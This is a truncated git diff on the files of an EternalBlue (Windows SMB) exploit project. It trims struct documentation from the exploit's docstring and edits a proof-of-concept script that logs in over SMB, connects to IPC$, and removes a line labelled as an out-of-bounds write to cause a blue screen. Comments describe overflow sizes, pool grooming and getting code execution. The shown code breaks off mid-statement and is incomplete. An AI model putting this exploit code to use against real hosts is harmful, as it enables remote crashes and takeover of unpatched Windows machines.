diff --git a/eternalblue_exploit7.py b/eternalblue_exploit7.py index 5f1a834..0518ffd 100644 --- a/eternalblue_exploit7.py +++ b/eternalblue_exploit7.py @@ -20,29 +20,7 @@ Reference: Bug detail: - For the buffer overflow bug detail, please see http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/ -- For other bugs defailt, see BUG.txt -- Here is related struct info. -##### -typedef struct _FEA { /* fea */ - BYTE fEA; /* flags */ - BYTE cbName; /* name length not including NULL */ - USHORT cbValue; /* value length */ -} FEA, *PFEA; - -typedef struct _FEALIST { /* feal */ - DWORD cbList; /* total bytes of structure including full list */ - FEA list[1]; /* variable length FEA structures */ -} FEALIST, *PFEALIST; - -typedef struct _FILE_FULL_EA_INFORMATION { - ULONG NextEntryOffset; - UCHAR Flags; - UCHAR EaNameLength; - USHORT EaValueLength; - CHAR EaName[1]; -} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; - -- The exploit also use other 2 bugs +- The exploit also use other 2 bugs (see details in BUG.txt) - Send a large transaction with SMB_COM_NT_TRANSACT but processed as SMB_COM_TRANSACTION2 (requires for trigger bug) - Send special session setup command (SMB login command) to allocate big nonpaged pool (use for creating hole) ###### @@ -86,6 +64,8 @@ Shellcode note: - Then, using APC in Process context to get code execution in userland (ring 3) ''' +# Note: see how to craft FEALIST in eternalblue_poc.py + # wanted overflown buffer size (this exploit support only 0x10000 and 0x11000) # the size 0x10000 is easier to debug when setting breakpoint in SrvOs2FeaToNt() because it is called only 2 time # the size 0x11000 is used in nsa exploit. this size is more reliable. diff --git a/eternalblue_poc.py b/eternalblue_poc.py index e4726c9..48ffa08 100644 --- a/eternalblue_poc.py +++ b/eternalblue_poc.py @@ -1,6 +1,7 @@ from impacket import smb from mysmb import MYSMB from struct import pack +import random import sys ''' @@ -23,19 +24,69 @@ conn.login(USERNAME, PASSWORD) tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') conn.set_default_tid(tid) -# OOB write ~0x8c00 for BSOD -payload = pack('=0x10000 mid = conn.next_mid() # NT function can be any -# TRANS2_OPEN2 (0) -conn.send_nt_trans(2, setup=pack('